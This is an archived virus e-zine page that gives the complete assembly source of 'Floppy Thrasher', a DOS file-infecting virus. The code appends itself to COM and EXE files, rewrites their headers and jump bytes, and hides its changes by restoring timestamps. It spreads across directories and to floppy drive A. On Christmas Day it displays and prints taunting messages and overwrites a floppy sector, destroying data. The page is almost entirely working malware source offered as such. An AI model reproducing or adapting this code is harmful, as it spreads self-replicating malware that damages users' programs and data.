Copy Link
Add to Bookmark
Report

2 Floppy Thrasher Virus Code

eZine's profile picture
Published in 
Janus
 · 28 Apr 2022

comment *
Floppy Thasher Virus
author Virus-X
infects COM and EXEs on Floppy and HDs
Its payload will display a message to screen, print out the printer
and over write the 1st sector of any floppy in drive A:\
with text
*

.model tiny 
.code
org 100h
start1:
db 0e9h,0,0,'D' ;1ST GEN Virus is a COM file
start:
push ds
push cs cs
pop es ds ;save PSP
call delta
delta:
pop bp
sub bp,offset delta ;calculate delta offset

push [bp+offset counter] ;save counter to stack

cmp byte ptr [bp+counter],1 ;if counter is 1 EXE restore
jne exit_COM ;other wise restore 1st 3 bytes
restore:
lea si,[bp+EXE_IP] ;load SI with EXE_IP
lea di,[bp+Saved_ip] ;info at exe_ip will be at Saved_IP
mov cx,4 ;number times to move words
rep movsw ;go
jmp handlers ;set up our virus to search
exit_COM:
lea si,[bp+tribyte] ;get orginal 4 bytes
mov di,100h ;they will be at file entry
mov cx,4 ;4 times
rep movsb ;movsb 4 times
handlers:

call get_dir ;save curent dir
call int24 ;redirect int 24h
mov ah,19h ;get cur drive number
int 21h ;DOS
mov byte ptr [bp+Drive],al ;save drive number
cmp al,00h ;check if we are on DISK
jne DTAR ;if not set dta
mov ah,0eh ;otherwise change drive
mov dl,02h ;to c:\
int 21h ;DOS!
mov ah,3Bh ;change dir
lea dx,[bp+desktop] ;go todesktop (users often keep fav stuff on desktop)
int 21h ;DOS
DTAR:
lea dx,[bp+dta] ;load effective address of DX with new DTA
mov ah,1ah ;set new dta
int 21h

search:
mov ah,4eh ;find first file
mov cx,7 ;with any attrib
lea dx,[bp+exefile] ;ending in *.EXE
int 21h ;DOS
jnc open ;if all Ok open
jmp COMsearch ;otherwise search for COM files
NextEXE:
mov ah,4fh ;find next EXE file
int 21h ;DOS
jnc open ;if ok open the file
jmp COMsearch ;otherwise searchfor some damn COMs
open:
mov ax,3d02h ;open read/write
lea dx,[bp+dta+1eh] ;file name in DTA
int 21h ;DOS!
xchg ax,bx ;file handle
call TimeSTAMP ;call routine used to save stamps
mov ah,3fh ;Read Bytes
mov cx,1ch ;read 1Ch bytes
lea dx,[bp+exeheader] ;store in offset EXEHEADER
int 21h ;DOS!
cmp word ptr [bp+exeheader+10h],'DK' ;is the file already infected?
je close ;if so close
cmp word ptr [bp+exeheader+18h],'@' ;is it a NE or PE file?
je close ;if so close
cmp word ptr [bp+exeheader+1ah],0 ;internal overlays?
jne close ;if yes close
call save_header ;save the exeheader
mov ax,4202h ;go to eof
xor cx,cx ;zero out cx
cwd ;zero dx
int 21h ;DOS
push ax dx ;save results
call calc_newset ;calculatenew offsets
pop dx ax ;restore file size
call calc_newsize ;calculate new size in pages
mov byte ptr [bp+counter],1 ;set counter as 1
mov ah,40h ;write to file
mov cx,endvirus-start ;virus length
lea dx,[bp+start] ;start at start
int 21h ;DOS!
mov ax,4200h ;go to file start
xor cx,cx ;zero out cx
cwd ;zero out DX
int 21h ;DOS
mov ah,40h ;write to file
mov cx,1CH ;number of bytes
lea dx,[bp+exeheader] ;write Virulent EXEHEADER
int 21h ;DOS
close:
call set_stamp ;set time date stamp
mov ah,3eh ;close file
int 21h ;DOS!
nexter:
jmp NextEXE ;find Next EXE file
COMSearch:
mov ah,4eh ;find first file in Dir
mov cx,7 ;any attributes
lea dx,[bp+COMFILE] ;.COM
int 21h ;DOS
jnc openCOM ;if ok open COM file
jmp changedir ;if not change dir
nextCOM:
mov ah,4fh ;Find another COM
int 21h ;DOS
jnc openCOM ;if ok open COM file
jmp changedir ;if not ok change dir
openCOM:
mov ax,3d02h ;open read/write
lea dx,[bp+dta+1eh] ;DTA File name location
int 21h ;DOS
xchg ax,bx ;bx = handle
call TimeSTAMP ;save time and date
cmp word ptr [bp+dta+1ah],24503 ;is the file win.com?
je closeCOM ;yeah close it
cmp word ptr [bp+dta+35],'DN' ;is the file Command.com?
je closeCOM ;yeah close it
mov ax,4202h ;go to eof
xor cx,cx ;zero cx
cwd ;zero dx
int 21h ;DOS!
sub ax,3 ;subtract 3 from file size
mov word ptr [bp+newjump+1],ax ;put that value in newjump lower 2 bytes
mov ax,4200h ;go to file start
xor cx,cx ;zero cx
cwd ;zero dx
int 21h ;DOS
mov ah,3fh ;read bytes
lea dx,[bp+tribyte] ;into tribyte
mov cx,4 ;4 bytes
int 21h ;DOS
cmp byte ptr [bp+tribyte+3],'D' ;is it already infected?
je closeCOM ;if so close it
cmp word ptr [bp+tribyte],'MZ' ;is it a fricken misnamed EXE file?
je closeCOM ;ya close it
cmp word ptr [bp+tribyte],'ZM' ;misnamed exe?
je closeCOM ;yeah close it
mov ax,4200h ;go to file start
xor cx,cx ;zero cx
cwd ;zero dx
int 21h ;DOS
mov ah,40h ;write bytes
mov cx,4 ;4 bytes
lea dx,[bp+newjump] ;jump to virus code
int 21h ;DOS
mov ax,4202h ;move to end of file
xor cx,cx ;zero cx
cwd ;zero dx
int 21h ;DOS
mov byte ptr [bp+counter],0 ;zero counter
mov ah,40h ;write to file
mov cx,endvirus-start ;virus length
lea dx,[bp+start] ;where to start
int 21h ;DOS
closeCOM:
call set_stamp ;set time stamp
mov ah,3eh ;close file
int 21h ;DOS
jmp nextCOM ;go find another COM file
changedir:
lea dx,[bp+dot] ;'..'
mov ah,3Bh ;change directory
int 21h ;DOS!
jc DISKSWITCH ;if we root lets infect the floppy!
jmp search ;if all is well search
DISKSWITCH:
mov ah,19h ;get cur drive
int 21h ;DOS
cmp al,0 ;are we on a disk?
je check_load ;if so check the payload
mov ah,0eh ;otherwise change to Disk
mov dl,0 ;0=A:\
int 21h ;DOS
jmp search ;if all is ok search for EXEs
check_load:
mov ah,2ah ;get system date
int 21h ;DOS
cmp dh,12 ;is it december?
jne exit_virus ;if not exit virus
cmp dl,25 ;is it christmas
jne exit_virus ;if not exit virus
mov ah,9h ;display message
lea dx,[bp+flopper] ;offset of message to display
int 21h ;DOS
mov ah,01h ;begin of printer payload
mov dx,0h ;put 0h in dx
int 17h ;int for initializing printer
lea si,[bp+str1] ;load str to si
mov cx,ender-str1 ;move string1len to cx
PrintStr: ;label fer printing our message
mov ah,00h ;write characters
lodsb ;load byte
int 17h ;printer int
loop PrintStr ;loop printstr till we are done
mov ah,03h ;write sector
mov al,1 ;number sectors
mov ch,1 ;cylinder number
mov cl,1 ;lower eight bits
mov dh,1 ;head number
mov dl,00h ;A:\
lea bx,[bp+sectbuff] ;data to write
push cs
pop es
int 13h ;int 13h call
exit_virus:
mov ah,0eh ;change drive
mov dl,[bp+drive] ;back to saved drive
int 21h ;DOS
mov ah,3bh ;change dir
lea dx,[bp+Cur_Dir] ;to original directory
int 21h ;DOS!
call rset24 ;restore Int 24 Vector
pop [bp+offset counter] ;restore viral counter value
cmp byte ptr [bp+counter],1 ;is it a 1?
jne COMEXIT ;nope. were on a infected come file COm restore
pop ds ;restore DS
mov dx,80h ;80h =defualt DTA
mov ah,1ah ;set dta
int 21h ;DOS!
push ds ;push es
pop es ;pop es restore es = ds =PSP
mov ax,es ;es = ax
add ax,10h ;add ajustment for PSP
add word ptr cs:[Saved_CS+bp],ax ;Adjust old CS by cur sig
cli ;clear interrupt flags
add ax,word ptr cs:[bp+Saved_SS] ;Adjust old SS
mov ss,ax ;Restore stack to
mov sp,word ptr cs:[bp+Saved_SP] ;original position
sti ;restore int flags
db 0eah ;far jump to CS:IP
Saved_IP dw 0 ;storage for original IP
Saved_CS dw 0 ;storage for original CS
Saved_SP dw 0 ;storage for original SP
Saved_SS dw 0 ;storage for original SS



comEXIT:
mov dx,80h ;80h = default DTA
mov ah,1ah ;set DTA
int 21h ;DOS
mov di,100h ;ax = 100h, file entry point
jmp di ;go to entry

;-----Procedures-----------;
get_dir:
mov ah,47h ;get current directory
cwd ;xor dx,dx
lea si,[bp+Cur_DIR] ;buffer
int 21h ;DOS!
ret ;return
int24:
mov ax,3524h ;get int vector 24
int 21h ;DOS!
mov word ptr [bp+old24],bx ;store bx in lower word
mov word ptr [bp+old24+2],es ;es in high word of offset old24
mov ax,2524h ;set int vector
lea dx,[bp+new24h] ;offset of new24h routine
int 21h ;DOS!
ret ;return
new24h:
mov al,3 ;fail error
iret ;interrupt return
timeSTAMP:
mov ax,5700h ;get time and date
int 21h ;dos
mov word ptr [bp+date1],cx ;save cx in offset date1
mov word ptr [bp+date2],dx ;save dx in offset date2
ret ;return



save_header:
mov ax,word ptr [bp+exeheader+10h] ;get SP
mov word ptr [bp+exe_sp],ax ;save SP
mov ax,word ptr [bp+Exeheader+16h] ;get CS
mov word ptr [bp+exe_cs],ax ;save CS
mov ax,word ptr [bp+exeheader+14h] ;get IP
mov word ptr [bp+exe_ip],ax ;save IP
mov ax,word ptr [bp+exeheader+0eh] ;get SS
mov word ptr [bp+exe_ss],ax ;save SS
ret ;return

calc_newset:
mov cx,10h
div cx
sub ax,word ptr [bp+exeheader+8h] ;filesizez - headersize=we want
mov word ptr [bp+exeheader+14h],dx ;NEW IP
mov word ptr [bp+exeheader+16h],ax ;NEW CS
mov word ptr [bp+exeheader+0eh],ax ;NEW SS
mov word ptr [bp+exeheader+10h],'DK' ;NEW SP
ret ;return
calc_newsize:
add ax,endvirus-start ;add virus size to f-size
adc dx,0 ;add carry
mov cx,200h ;200h = 512 hex
div cx ;divide file into pages
cmp dx,0 ;check if dx is equal 0
je continue ;if so continue
inc ax ;incremnet AX
continue:
mov word ptr [bp+exeheader+4h],ax ;set new partpag
mov word ptr [bp+exeheader+2h],dx ;set new PageCnt
ret ;return
set_stamp:
mov ax,5701h ;set time and date stamp
lea cx,[bp+date1] ;set cx for old value
lea dx,[bp+date2] ;set dx for old value
int 21h ;DOS
ret ;return
rset24:
mov ax,2524h ;set IVT 24h
lea dx,[bp+old24] ;point to old 24h
int 21h ;DOS
ret ;return
;-----data----------;
date1 dw ?
date2 dw ?
desktop db 'C:\windows\desktop',0
Cur_DIR db 64 dup (0) ;storage for Dir info
dot db '..',0
old24 dd ?
exefile db '*.exe',0
comfile db '*.com',0
newjump db 0e9h,0,0,'D'
tribyte db 0cdh,20h,0,0
exeheader db 1ch dup (?)
DTA db 42 dup (?)
counter db 0
drive db 0
sectbuff db 'This floppy thrashed by Floppy Thrasher Virus',0
flopper db 'Floppy Thrasher (c) 1998',10,13
db 'Floppy in drive A:\ being thrashed......',10,13
db 'thank you for being infected have a nice day ',10,13,'$'
exe_ip dw 0 ;storage for IP
exe_cs dw 0fff0h ;storage for CS
exe_sp dw 0 ;storage for SP
exe_ss dw 0fff0h ;storage for SS
str1 db 'Floppy Thrasher......Infecting COM and EXE files for along time......',0ah,0dh
db 'have you been a good user this year? i think not......thus the floppy in drive A must DIE',0ah,0dh
db 'Your computer is infected with floppy thrasher muhahahahahah',0ah,0dh
db 'remmeber my name for i am the floppy thrasher Virus',0Ch
ender label near
endvirus label near
end start1

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT